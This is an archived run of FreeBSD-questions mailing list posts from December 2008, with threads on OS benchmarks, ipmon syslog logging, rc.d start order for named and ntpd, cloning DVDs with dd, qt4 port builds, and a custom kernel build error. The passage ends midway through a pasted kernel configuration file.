find. Of course, that seems to be more about PostgreSQL vs. Oracle than FreeBSD vs. MS Windows. -- Chad Perrin [ content licensed PDL: http://pdl.apotheon.org ] Quoth Thomas McCauley: "The measure of a man's real character is what he would do if he knew he would never be found out." -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081205/6f40ca16/attachment-0001.pgp From af300wsm at gmail.com Fri Dec 5 08:52:12 2008 From: af300wsm at gmail.com (af300wsm@gmail.com) Date: Fri Dec 5 08:52:18 2008 Subject: Performance benchmarks pitting FreeBSD against Windows Message-ID: <001636164aa79006c1045d4f7f0b@google.com> On Dec 5, 2008 9:34am, Bruce Cran wrote: > On Fri, 05 Dec 2008 04:30:20 +0000 > > af300wsm@gmail.com wrote: > > > > > I'm just curious to see how it looks for my own sanity's sake. At > > > work, someone got the grand idea that we should move to Windoze > > > embedded (CE and XPe) and it's been quite discouraging I must say, > > > though I must admit, it's nice to actually know why Windows is ugly > > > underneath. From a programming perspective, it's just not simplistic. > > > Anyway, I digress, I'm just curious to see how things compare to > > > Windows on similar benchmarks to what Kris provided if its ever been > > > done. > > > > > > > The userland win32 API might be rather unpleasant but I was surprised > > to learn to driver interface in the kernel is actually quite nice, and > > isn't too dissimilar to FreeBSD in some ways. In > > terms of performance Windows-based machines have made it into the > > Top500 list of supercomputers, so at the high end performance must be > > acceptable at least. > > Very interesting. To be fair, programming is programming. It's not as if a struct suddenly became an int because we're using windows. You've just got to learn to do it differently. It's just irritating that there's not a fork() in windows, VERY irritating. Other things are quite irritating too, but like I said, it's not as if C++ suddenly became something different because I was working in windows. To the list, I must say that I wasn't looking to start a "holy war." Before posting I thought that the message was properly worded to find out if it had ever been done and if the results could be easily accessed. I found the result sets from Kris quite interesting comparing FreeBSD X against Linux X, DragonFlyBSD X and so forth. It was just interesting and I was wondering how similar benchmarks would compare. I didn't meant to set anyone off. Lastly, I think I may have left the impression that perhaps where I work they switched from FreeBSD to Windows. Had this been the case, the transition would have been far more discouraging to me. FreeBSD is my preferred OS. I too prefer the "using" of my brain to more "brain-dead" OSs. This fact is actually one of the irritants with using Windows now at work. I dislike that Visual Studio thinks it knows better than I do and that everything is so abstracted that it's hard to get down the "ground" level of what you're doing. And although IntelliSense is nice, still, give me gvim any day of the week and twice on Sunday. Andy From fbsd.questions at rachie.is-a-geek.net Fri Dec 5 09:07:14 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Fri Dec 5 09:07:29 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081205164537.GD25258@kokopelli.hydra> References: <0016e64ca7d690e38f045d45227d@google.com> <200812051426.51597.fbsd.questions@rachie.is-a-geek.net> <20081205164537.GD25258@kokopelli.hydra> Message-ID: <200812051807.11735.fbsd.questions@rachie.is-a-geek.net> On Friday 05 December 2008 17:45:37 Chad Perrin wrote: > On Fri, Dec 05, 2008 at 02:26:50PM +0100, Mel wrote: > > Well, one can find stories like this of course: > > http://www.postgis.org/documentation/casestudies/globexplorer/ > > > > But I'm sure one can find some of the contrary. It does show the value of > > the benchmark: Is it economically viable to use configuration X vs Y, and > > performance is only one factor of the descision. > > Actually, the only other story that comes immediately to mind of a > PostgreSQL vs. Oracle comparison is this one: > > http://www.enterprisedb.com/about/news_events/press_releases/06_27_07.do > > . . . so, in my experience at least, stories to the contrary are pretty > hard to find. > > Of course, that seems to be more about PostgreSQL vs. Oracle than FreeBSD > vs. MS Windows. Point being, that a benchmark should never decide or even help decide to change software accross the board as a policy. You may use it as orientation, but in practice the value of said benchmarks is low as they rarely represent real workloads. The deciding process is migrating one and see what happens, what you have to do to migrate (it's rarely "just the os" and takes man hours) and what the difference in maintenance and periodic costs is. Benchmarks are more useful to "see what kind of hardware I'd need to run a MySQL server with X simultanious connections on FreeBSD" and even better if the tuning and optimizations for the benchmark are documented. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From gwg7webbcom at yahoo.com Fri Dec 5 09:25:29 2008 From: gwg7webbcom at yahoo.com (G magicman) Date: Fri Dec 5 10:06:35 2008 Subject: IPFilter section in Handbook needs updating In-Reply-To: Message-ID: <661217.76488.qm@web52202.mail.re2.yahoo.com> And incomplete yes i agree that the doc does need to be updated and examples (more) need to be added. --- On Fri, 12/5/08, Dean Weimer wrote: From: Dean Weimer Subject: IPFilter section in Handbook needs updating To: freebsd-questions@freebsd.org Date: Friday, December 5, 2008, 10:07 AM I was just setting up ipfilter and ipmon on a FreeBSD 7 server, and noticed that the ipmon and syslog information under the ipfilter section of the handbook is incorrect. The section reads: -----snip----- 31.5.7 IPMON Logging Syslogd uses its own special method for segregation of log data. It uses special groupings called "facility" and "level". IPMON in -Ds mode uses security as the "facility" name. All IPMON logged data goes to security The following levels can be used to further segregate the logged data if desired: LOG_INFO - packets logged using the "log" keyword as the action rather than pass or block. LOG_NOTICE - packets logged which are also passed LOG_WARNING - packets logged which are also blocked LOG_ERR - packets which have been logged and which can be considered short To setup IPFILTER to log all data to /var/log/ipfilter.log, you will need to create the file. The following command will do that: # touch /var/log/ipfilter.log The syslog function is controlled by definition statements in the /etc/syslog.conf file. The syslog.conf file offers considerable flexibility in how syslog will deal with system messages issued by software applications like IPF. Add the following statement to /etc/syslog.conf: security.* /var/log/ipfilter.log The security.* means to write all the logged messages to the coded file location. To activate the changes to /etc/syslog.conf you can reboot or bump the syslog task into re-reading /etc/syslog.conf by running /etc/rc.d/syslogd reload Do not forget to change /etc/newsyslog.conf to rotate the new log you just created above. -----snip----- In trying to configure this I found that ipmon -Dsa doesn't log to security, but logs to local0 instead. Reading the man page for ipmon does in fact state this. However it also list the -L option as being able to change this default behavior, I tried ipmon -DSa -L security, it excepts this, but doesn't actually change the logging to use security. It still only outputs to the syslog using local0, I also tried using ipmon -DSa -L local7 as well, still outputs to local0. It was easy enough to modify my syslog.conf to output the local0.* as well as security.* to the /var/log/security file. However it would be greatly appreciated if someone that actually understands what's going on here could get this info updated. It would have saved me some time, as well as I am sure some other people in the future. Of course it's always possible I am missing something simple here that is causing this discrepancy, please do inform me if I did. It's probably worth mentioning that I am starting ipmon using the rc.conf file with ipmon_enable="YES" and ipmon_flags="-DSa", just in case the /etc/rc.d/ipmon script actually changes the default behavior of ipmon in some way, though I didn't see anything in it that should. And ps wwaux | grep ipmon does display the process running with the flags exactly as stated on the ipmon_flags line of the /etc/rc.conf file. Thanks, ???? Dean Weimer ???? Network Administrator ???? Orscheln Management Co _______________________________________________ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 10:35:59 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 10:36:06 2008 Subject: what is umtxn Message-ID: <20081205193446.B2902@wojtek.tensor.gdynia.pl> i've got once my asterisk process in umtxn state (as top shows) using 100% CPU. it was still answering calls. what's umtxn exactly? From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 10:37:18 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 10:37:24 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081205083457.283d3deb@tau> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205083457.283d3deb@tau> Message-ID: <20081205193550.E2916@wojtek.tensor.gdynia.pl> > The userland win32 API might be rather unpleasant but I was surprised > to learn to driver interface in the kernel is actually quite nice, and whatever ideas/solutions microsoft do it's f..ked up or stolen. the stolen case is actually better :) > isn't too dissimilar to FreeBSD in some ways. In > terms of performance Windows-based machines have made it into the > Top500 list of supercomputers, so at the high end performance must be > acceptable at least. maybe in raw MIPS performance From keramida at ceid.upatras.gr Fri Dec 5 11:16:22 2008 From: keramida at ceid.upatras.gr (Giorgos Keramidas) Date: Fri Dec 5 11:16:31 2008 Subject: what is umtxn In-Reply-To: <20081205193446.B2902@wojtek.tensor.gdynia.pl> (Wojciech Puchar's message of "Fri, 5 Dec 2008 19:35:34 +0100 (CET)") References: <20081205193446.B2902@wojtek.tensor.gdynia.pl> Message-ID: <871vwmv3er.fsf@kobe.laptop> On Fri, 5 Dec 2008 19:35:34 +0100 (CET), Wojciech Puchar wrote: > i've got once my asterisk process in umtxn state (as top shows) using > 100% CPU. > > it was still answering calls. > > what's umtxn exactly? A kernel lock operation. ``procstat -k PID'' may show more details about the in-kernel stack of the process that spins on the lock. From fbsd06 at mlists.homeunix.com Fri Dec 5 11:18:46 2008 From: fbsd06 at mlists.homeunix.com (RW) Date: Fri Dec 5 11:18:53 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> Message-ID: <20081205190703.0dfb952d@gumby.homeunix.com> On Fri, 21 Nov 2008 16:47:50 -0800 "Nerius Landys" wrote: > > I believe that the fix for this is to add a dependency > to /etc/rc.d/ntpd script, adding "named" to "REQUIRE" section in > comments. In your opinion, is this a robust fix? For example the > line in my /etc/rc.d/ntpd script that looks like so: > > # REQUIRE: DAEMON ntpdate cleanvar devfs > > would be changed to this: > > # REQUIRE: DAEMON ntpdate cleanvar devfs named This shouldn't be needed as ntpd already requires ntpdate and in turn ntpdate requires named. The issue is probably timing - that named isn't ready. I have a similar issue with PPP not having connected by the time ntpdate runs , so I just have a script that runs between named and ntpdate, and blocks waiting for access. From gwg7webbcom at yahoo.com Fri Dec 5 11:29:42 2008 From: gwg7webbcom at yahoo.com (G magicman) Date: Fri Dec 5 11:29:49 2008 Subject: IPFW Firewall Question In-Reply-To: <200812051202.59160.fbsd.questions@rachie.is-a-geek.net> Message-ID: <198267.54082.qm@web52209.mail.re2.yahoo.com> I have tried this it did not work and the Co-Lo people are convinced that sshd and sendmail need to be run out of inetd.conf for this to work As i said i am used to BSDI? and the Finnish SSHD Also here they are using the combined hosts.allow/deny? with the deny inside which i never liked Thank you for your help on this Garrett --- On Fri, 12/5/08, Mel wrote: From: Mel Subject: Re: IPFW Firewall Question To: freebsd-questions@freebsd.org, gwg7webbcom@yahoo.com Date: Friday, December 5, 2008, 6:02 AM On Friday 05 December 2008 01:26:04 G magicman wrote: > Why because of the following: > > 1. Hosts.access? on freebsd works on the Application Layer instead of the > Network Layer Therefore Hosts.allow/hosts.deny?? no longer works the way i > want and i do not feel like running Sendmail and sshd out of Inetd which > appearantly is the only way to be able to use hosts.allow/deny You're right about the application layer, but not about the rest. From sshd(8): /etc/hosts.allow /etc/hosts.deny Access controls that should be enforced by tcp-wrappers are defined here. Further details are described in hosts_access(5). > 2. Next openssh doesnot have an AllowHosts directive like the Finnish one > does it only has an AllowUsers directive so i need to protect the system > from DDOS attacks Again, see above. > and Hacking I already tried to block things using the > Sendmail Access file but all that did was choak up the server with moronic > shit.? And i want to be able to use my sftp program but it opens random > ports which can not be controlled so i need the Clearaddresses to be able > to see all ports. For the firewall, pf user here, so others should help. ;) -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From dkelly at hiwaay.net Fri Dec 5 11:32:23 2008 From: dkelly at hiwaay.net (David Kelly) Date: Fri Dec 5 11:32:30 2008 Subject: DVD cloning tool In-Reply-To: <20081205171703.B2281@wojtek.tensor.gdynia.pl> References: <20081205161112.f9bcddff.freebsd@edvax.de> <20081205164750.20fce934.freebsd@edvax.de> <20081205171703.B2281@wojtek.tensor.gdynia.pl> Message-ID: <20081205193220.GA36935@Grumpy.DynDNS.org> On Fri, Dec 05, 2008 at 05:18:01PM +0100, Wojciech Puchar wrote: > > > >Thanks, dd is a good suggestion for ISO data. But what I need > > once again please do > man dd > > dd reads sector by sector. > > it won't work only for audio-sectors on CD , on DVD movies are stored > using "normal" 2K sectors Agree that dd is good for simple CDs and DVDs but can't say that I know it will behave on multi-session or multi-format discs. In years past there was an issue where some drives would return EOF with the last sector and others would wait until attempt to read past the last sector yet would return data. So with multiple generations of copy each generation got one block longer. Know this because 10 years ago working in a data warehouse I easily won the argument against using Windows to duplicate/distribute data on CD for lack of a disc verify utility. These days the Disk Utility in MacOS X automatically verifies. But back then under FreeBSD I used dd and handled EOF specially in my shell script. -- David Kelly N4HHE, dkelly@HiWAAY.net ======================================================================== Whom computers would destroy, they must first drive mad. From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 11:46:43 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 11:46:56 2008 Subject: DVD cloning tool In-Reply-To: <20081205193220.GA36935@Grumpy.DynDNS.org> References: <20081205161112.f9bcddff.freebsd@edvax.de> <20081205164750.20fce934.freebsd@edvax.de> <20081205171703.B2281@wojtek.tensor.gdynia.pl> <20081205193220.GA36935@Grumpy.DynDNS.org> Message-ID: <20081205204227.P3415@wojtek.tensor.gdynia.pl> > > Agree that dd is good for simple CDs and DVDs but can't say that I know > it will behave on multi-session or multi-format discs. the question was about DVD. dvd are not produced multisession or multiformat. and when copying multisession data DVD, it's much better to copy off all files, possible add more and write as single session. actually it's rarely used. i never recorded even one multisession DVD except once to test if it works :) with CD - you are right, but it was already told that readcd is OK. unfortunately AFAIK there is no similar tool for DVDs From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 11:46:43 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 11:46:57 2008 Subject: what is umtxn In-Reply-To: <871vwmv3er.fsf@kobe.laptop> References: <20081205193446.B2902@wojtek.tensor.gdynia.pl> <871vwmv3er.fsf@kobe.laptop> Message-ID: <20081205204604.M3415@wojtek.tensor.gdynia.pl> >> 100% CPU. >> >> it was still answering calls. >> >> what's umtxn exactly? > > A kernel lock operation. ``procstat -k PID'' may show more details > about the in-kernel stack of the process that spins on the lock. > > thank you. From dkelly at hiwaay.net Fri Dec 5 13:18:37 2008 From: dkelly at hiwaay.net (David Kelly) Date: Fri Dec 5 13:18:44 2008 Subject: DVD cloning tool In-Reply-To: <20081205204227.P3415@wojtek.tensor.gdynia.pl> References: <20081205161112.f9bcddff.freebsd@edvax.de> <20081205164750.20fce934.freebsd@edvax.de> <20081205171703.B2281@wojtek.tensor.gdynia.pl> <20081205193220.GA36935@Grumpy.DynDNS.org> <20081205204227.P3415@wojtek.tensor.gdynia.pl> Message-ID: <20081205211833.GB37607@Grumpy.DynDNS.org> On Fri, Dec 05, 2008 at 08:45:52PM +0100, Wojciech Puchar wrote: > > > >Agree that dd is good for simple CDs and DVDs but can't say that I know > >it will behave on multi-session or multi-format discs. > > the question was about DVD. dvd are not produced multisession or > multiformat. The above is contradicted below. *These* DVDs in question are known not multi-session? > and when copying multisession data DVD, it's much better to copy off > all files, possible add more and write as single session. Depends on what your homework assignment is. In the data center I was talking about one could make a good argument that the duplicate was to be multi-session if the original was. We don't know for sure it doesn't contain a presentation application or something counting on the multiple sessions. > actually it's rarely used. i never recorded even one multisession DVD > except once to test if it works :) On DVD-R it works badly, can only write 4 or 5 sessions and there is some huge buffer zone between each session, 200 to 500 MB. > with CD - you are right, but it was already told that readcd is OK. > > unfortunately AFAIK there is no similar tool for DVDs Thought readcd (out of cdrtools) also knew how to read DVD? -- David Kelly N4HHE, dkelly@HiWAAY.net ======================================================================== Whom computers would destroy, they must first drive mad. From shinjii at maydias.com Fri Dec 5 13:19:38 2008 From: shinjii at maydias.com (Warren Liddell) Date: Fri Dec 5 13:19:46 2008 Subject: desperate Newb help In-Reply-To: <4939496B.7010303@brianwhalen.net> References: <49392F02.9010902@maydias.com> <200812051511.59715.fbsd.questions@rachie.is-a-geek.net> <4939496B.7010303@brianwhalen.net> Message-ID: <49399AF3.5010800@maydias.com> I have no idea why 'configure' is run. No configure is run for me at all. >> Looks like your ports tree isn't sane. How do you upgrade your >> portstree? >> >> Instead of using portupgrade, could you just execute the following: >> make -C /usr/ports/databases/qt4-sql clean build >> > > > If youre new to freebsd, pkg_add -r packagename is infinitely easier > than muddling through port build options. > > Brian Well i have been using freebsd for about a yr an i update my ports via svn, but i also maintain a standard copy of the ports tree via csup. Sadly the same error existed when i tried make -C /usr/ports/databases/qt4-sql clean build ... id gladly use pkg_add if had the pre-build pkg for QT4-sql vers 4.4.2 or even all the QT4 @ vers 4.5 From nlandys at gmail.com Fri Dec 5 13:52:15 2008 From: nlandys at gmail.com (Nerius Landys) Date: Fri Dec 5 13:52:22 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <20081205190703.0dfb952d@gumby.homeunix.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <20081205190703.0dfb952d@gumby.homeunix.com> Message-ID: <560f92640812051322h520ac67ficebbc3881907fbc2@mail.gmail.com> > This shouldn't be needed as ntpd already requires ntpdate and in > turn ntpdate requires named. The issue is probably timing - that named > isn't ready. Actually, the REQUIRE thing in the /etc/rc.d scripts means "if the required service is enabled, start it before this one". It does not mean "start the required service before this one". I had ntpd enabled but not ntpdate in my rc.conf. Therefore the ntpdate script which requires NETWORK and named did not get run. As mentioned earlier, my fix was to run ntpdate at bootup as well as ntpd. From fbsd06 at mlists.homeunix.com Fri Dec 5 14:11:17 2008 From: fbsd06 at mlists.homeunix.com (RW) Date: Fri Dec 5 14:11:25 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <560f92640812051322h520ac67ficebbc3881907fbc2@mail.gmail.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <20081205190703.0dfb952d@gumby.homeunix.com> <560f92640812051322h520ac67ficebbc3881907fbc2@mail.gmail.com> Message-ID: <20081205221113.6084e635@gumby.homeunix.com> On Fri, 5 Dec 2008 13:22:29 -0800 "Nerius Landys" wrote: > > This shouldn't be needed as ntpd already requires ntpdate and in > > turn ntpdate requires named. The issue is probably timing - that > > named isn't ready. > > Actually, the REQUIRE thing in the /etc/rc.d scripts means "if the > required service is enabled, start it before this one". It does not > mean "start the required service before this one". That's not correct. BEFORE and REQUIRE are used by rcorder to determine the ordering of the scripts without checking if they are enabled. Actually all scripts get run - if you don't enable ntpdate then rc.d/ntpdate still runs, but doesn't do anything. From nlandys at gmail.com Fri Dec 5 14:42:51 2008 From: nlandys at gmail.com (Nerius Landys) Date: Fri Dec 5 14:42:58 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <20081205221113.6084e635@gumby.homeunix.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <20081205190703.0dfb952d@gumby.homeunix.com> <560f92640812051322h520ac67ficebbc3881907fbc2@mail.gmail.com> <20081205221113.6084e635@gumby.homeunix.com> Message-ID: <560f92640812051442y4263b70and059c0a6e6177cd9@mail.gmail.com> > That's not correct. BEFORE and REQUIRE are used by rcorder to > determine the ordering of the scripts without checking if they are > enabled. Actually all scripts get run - if you don't enable ntpdate then > rc.d/ntpdate still runs, but doesn't do anything. My mistake. But then I don't understand why enabling ntpdate in rc.conf fixed my problem of ntpd's DNS resolver child process not completing (returning). My guess was that NETWORK and named were guaranteed getting run before ntpd if I included ntpdate in rc.conf. I thought that perhaps NETWORK and named were not getting run before ntpd in my particular case when I didn't include ntpdate in rc.conf. But according to your information NETWORK and named scripts would get run before the ntpd script no matter if ntpdate was enabled in rc.conf or not (because NETWORK and named are required by ntpdate and ntpdate is required by ntpd). So why did enabling ntpdate in rc.conf fix my problem? From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 15:19:01 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 15:19:08 2008 Subject: DVD cloning tool In-Reply-To: <20081205211833.GB37607@Grumpy.DynDNS.org> References: <20081205161112.f9bcddff.freebsd@edvax.de> <20081205164750.20fce934.freebsd@edvax.de> <20081205171703.B2281@wojtek.tensor.gdynia.pl> <20081205193220.GA36935@Grumpy.DynDNS.org> <20081205204227.P3415@wojtek.tensor.gdynia.pl> <20081205211833.GB37607@Grumpy.DynDNS.org> Message-ID: <20081206001813.T30423@wojtek.tensor.gdynia.pl> > > Thought readcd (out of cdrtools) also knew how to read DVD? at least some time ago i tried - it doesn't read From cpghost at cordula.ws Fri Dec 5 16:10:34 2008 From: cpghost at cordula.ws (cpghost) Date: Fri Dec 5 16:10:46 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <20081205190703.0dfb952d@gumby.homeunix.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <20081205190703.0dfb952d@gumby.homeunix.com> Message-ID: <4939C33A.8070108@cordula.ws> RW wrote: > On Fri, 21 Nov 2008 16:47:50 -0800 > "Nerius Landys" wrote: > > >> I believe that the fix for this is to add a dependency >> to /etc/rc.d/ntpd script, adding "named" to "REQUIRE" section in >> comments. In your opinion, is this a robust fix? For example the >> line in my /etc/rc.d/ntpd script that looks like so: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs >> >> would be changed to this: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs named >> > > This shouldn't be needed as ntpd already requires ntpdate and in > turn ntpdate requires named. The issue is probably timing - that named > isn't ready. > > I have a similar issue with PPP not having connected by the time > ntpdate runs , so I just have a script that runs between named and > ntpdate, and blocks waiting for access. > Those timing / start-order issues are getting more and more annoying, IMHO. On my PPPoE / mpd5 connected systems, it's the same problem: * openntpd (from ports) can't start, because named is not ready * pf can't parse /etc/pf.conf because the ng0 interface is not yet there etc, etc, etc... Isn't there a generic way to delay some scripts from starting until a specific subset is ready (say: networking fully up, and named ready to reply)? Perhaps some keyword or class to add to a startup script would be nice to have! Thanks, --cpghost. -- Cordula's Web. http://www.cordula.ws/ From shinjii at maydias.com Fri Dec 5 16:43:22 2008 From: shinjii at maydias.com (Warren Liddell) Date: Fri Dec 5 16:43:30 2008 Subject: QT4.5 packages Message-ID: <4939CABB.7050702@maydias.com> Does anyone have or know of where to download the pkg files for the various Qt4.5 ports as using pkg_add is the only way im able to add them atm. From af.gourmet at videotron.ca Fri Dec 5 17:10:24 2008 From: af.gourmet at videotron.ca (PJ) Date: Fri Dec 5 17:10:33 2008 Subject: custom kernel Message-ID: <4939D0FB.9090304@videotron.ca> I'm somewhat perturbed and feeling like somebody is laughing at me or at all of us. It used to be fairly easy to install FBSD, but now it seems to be an incredibly complicated task. I have installed and reinstalled a number of distributions from FBSD 4 or earlier up to the present 7.0. It used to be sysctl would install the minimal system and then I would add the necessary programs and build a custom kernel. It was time consuming but hardly problematic. Now, I am trying to build another fresh install of v.7.0 and guess what, I am doing it on an identical motherboard with the the same peripherals as another box with the only differences being a cpu of 3ghz on the older box and 2.4 on the new one (both Pentium 4) and slightly different HDDs. I did exactly the same on all installations but now, as previously and according to the Handbook, make buildkernel KERNCONF=MYKERNEL stops with errors. I tried the conf MYKERNEL opption and all it did was point me to the compile directory and said not to forget to do make cleandepend && make depend. A little strange, that, never had that happen before... but, ok, did it. then ran make buildkernel KERNCONF=MYKERNEL and, surprise ! same shit. Now, let me mention that I had previously installed 7.0 on the problem computer with no problem then decided I did not need it and got rid of it, that is, cleaned the disk and used it to store files.I now reconfigured the computer and set it up with 4 disks - 2 80Gb configured as Raid1 (mirror) and bootable. Works fine when FBSD installed. Other disks not configured or used yet. I installed the minimal system, did portsnap extract, installed bash and cvsup-without-gui, set up the ports-supfile and the standard-supfile; did cvsup -g -L 2 standard-supfile and retrived the source files, all of them.I then edited :MYKERNEL and started the make buildkernel process. wait...wait...wait.. terminates with linking kernel uvscom.o (.text+0x293): In function 'uvscom_attach' ; :undefined reference to 'ucom_attach' etc..... *** Error code 1 did I do something wrong? system is still on and functioning but how do I make the custom kernel? this is my kernel file: # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.7 2008/04/10 22:09:22 rwatson Exp $ cpu I686_CPU ident MYKERNEL # To statically compile in device wiring instead of /boot/device.hints #hints "GENERIC.hints" # Default places to look for devices. #makeoptions DEBUG=-g # Build kernel with gdb(1) debug symbols options SCHED_4BSD # 4BSD scheduler options PREEMPTION # Enable kernel thread preemption options INET # InterNETworking #options INET6 # IPv6 communications protocols options SCTP # Stream Control Transmission Protocol options FFS # Berkeley Fast Filesystem options SOFTUPDATES # Enable FFS soft updates support options UFS_ACL # Support for access control lists #options UFS_DIRHASH # Improve performance on big directories options UFS_GJOURNAL # Enable gjournal-based UFS journaling options MD_ROOT # MD is a potential root device #options NFSCLIENT # Network Filesystem Client #options NFSSERVER # Network Filesystem Server #options NFSLOCKD # Network Lock Manager #options NFS_ROOT # NFS usable as /, requires NFSCLIENT #options MSDOSFS # MSDOS Filesystem options CD9660 # ISO 9660 Filesystem #options PROCFS # Process filesystem (requires PSEUDOFS) #options PSEUDOFS # Pseudo-filesystem framework #options GEOM_PART_GPT # GUID Partition Tables. #options GEOM_LABEL # Provides labelization options COMPAT_43TTY # BSD 4.3 TTY compat [KEEP THIS!] options COMPAT_FREEBSD4 # Compatible with FreeBSD4 options COMPAT_FREEBSD5 # Compatible with FreeBSD5 options COMPAT_FREEBSD6 # Compatible with FreeBSD6 options SCSI_DELAY=5000 # Delay (in ms) before probing SCSI #options KTRACE # ktrace(1) support #options STACK # stack(9) support options SYSVSHM # SYSV-style shared memory options SYSVMSG # SYSV-style message queues options SYSVSEM # SYSV-style semaphores options _KPOSIX_PRIORITY_SCHEDULING # POSIX P1003_1B real-time extensions options KBD_INSTALL_CDEV # install a CDEV entry in /dev #options ADAPTIVE_GIANT # Giant mutex is adaptive. options STOP_NMI # Stop CPUS using NMI instead of IPI #options AUDIT # Security event auditing # To make an SMP kernel, the next two lines are needed options SMP # Symmetric MultiProcessor Kernel device apic # I/O APIC # CPU frequency control device cpufreq # Bus support. #device eisa device pci # Floppy drives device fdc # ATA and ATAPI devices device ata device atadisk # ATA disk drives device ataraid # ATA RAID drives device atapicd # ATAPI CDROM drives device atapifd # ATAPI floppy drives #device atapist # ATAPI tape drives options ATA_STATIC_ID # Static device numbering # SCSI Controllers #device ahb # EISA AHA1742 family device ahc # AHA2940 and onboard AIC7xxx devices #options AHC_REG_PRETTY_PRINT # Print register bitfields in debug # output. Adds ~128k to driver. device ahd # AHA39320/29320 and onboard AIC79xx devices #options AHD_REG_PRETTY_PRINT # Print register bitfields in debug # output. Adds ~215k to driver. #device amd # AMD 53C974 (Tekram DC-390(T)) #device hptiop # Highpoint RocketRaid 3xxx series #device isp # Qlogic family #device ispfw # Firmware for QLogic HBAs- normally a module #device mpt # LSI-Logic MPT-Fusion #device ncr # NCR/Symbios Logic #device sym # NCR/Symbios Logic (newer chipsets + those of `ncr') #device trm # Tekram DC395U/UW/F DC315U adapters #device adv # Advansys SCSI adapters #device adw # Advansys wide SCSI adapters #device aha # Adaptec 154x SCSI adapters device aic # Adaptec 15[012]x SCSI adapters, AIC-6[23]60. #device bt # Buslogic/Mylex MultiMaster SCSI adapters #device ncv # NCR 53C500 #device nsp # Workbit Ninja SCSI-3 #device stg # TMC 18C30/18C50 # SCSI peripherals device scbus # SCSI bus (required for SCSI) device ch # SCSI media changers device da # Direct Access (disks) device sa # Sequential Access (tape etc) device cd # CD device pass # Passthrough device (direct SCSI access) #device ses # SCSI Environmental Services (and SAF-TE) # RAID controllers interfaced to the SCSI subsystem #device amr # AMI MegaRAID #device arcmsr # Areca SATA II RAID #device asr # DPT SmartRAID V, VI and Adaptec SCSI RAID #device ciss # Compaq Smart RAID 5* #device dpt # DPT Smartcache III, IV - See NOTES for options #device hptmv # Highpoint RocketRAID 182x device hptrr # Highpoint RocketRAID 17xx, 22xx, 23xx, 25xx device iir # Intel Integrated RAID #device ips # IBM (Adaptec) ServeRAID #device mly # Mylex AcceleRAID/eXtremeRAID #device twa # 3ware 9000 series PATA/SATA RAID # RAID controllers #device aac # Adaptec FSA RAID #device aacp # SCSI passthrough for aac (requires CAM) #device ida # Compaq Smart RAID #device mfi # LSI MegaRAID SAS #device mlx # Mylex DAC960 family #device pst # Promise Supertrak SX6000 #device twe # 3ware ATA RAID # atkbdc0 controls both the keyboard and the PS/2 mouse device atkbdc # AT keyboard controller device atkbd # AT keyboard device psm # PS/2 mouse #device kbdmux # keyboard multiplexer device vga # VGA video card driver device splash # Splash screen and screen saver support # syscons is the default console driver, resembling an SCO console device sc device agp # support several AGP chipsets # Power management support (see NOTES for more options) #device apm # Add suspend/resume support for the i8254. device pmtimer # PCCARD (PCMCIA) support # PCMCIA and cardbus bridge support #device cbb # cardbus (yenta) bridge #device pccard # PC Card (16-bit) bus #device cardbus # CardBus (32-bit) bus # Serial (COM) ports device sio # 8250, 16[45]50 based serial ports device uart # Generic UART driver # Parallel port device ppc device ppbus # Parallel port bus (required) device lpt # Printer device plip # TCP/IP over parallel device ppi # Parallel port interface device device vpo # Requires scbus and da # If you've got a "dumb" serial or parallel PCI card that is # supported by the puc(4) glue driver, uncomment the following # line to enable it (connects to sio, uart and/or ppc drivers): #device puc # PCI Ethernet NICs. #device de # DEC/Intel DC21x4x (``Tulip'') device em # Intel PRO/1000 adapter Gigabit Ethernet Card #device ixgb # Intel PRO/10GbE Ethernet Card #device le # AMD Am7900 LANCE and Am79C9xx PCnet #device txp # 3Com 3cR990 (``Typhoon'') #device vx # 3Com 3c590, 3c595 (``Vortex'') # PCI Ethernet NICs that use the common MII bus controller code. # NOTE: Be sure to keep the 'device miibus' line in order to use these NICs! #device miibus # MII bus support #device bce # Broadcom BCM5706/BCM5708 Gigabit Ethernet #device bfe # Broadcom BCM440x 10/100 Ethernet #device bge # Broadcom BCM570xx Gigabit Ethernet #device dc # DEC/Intel 21143 and various workalikes #device fxp # Intel EtherExpress PRO/100B (82557, 82558) #device lge # Level 1 LXT1001 gigabit Ethernet #device msk # Marvell/SysKonnect Yukon II Gigabit 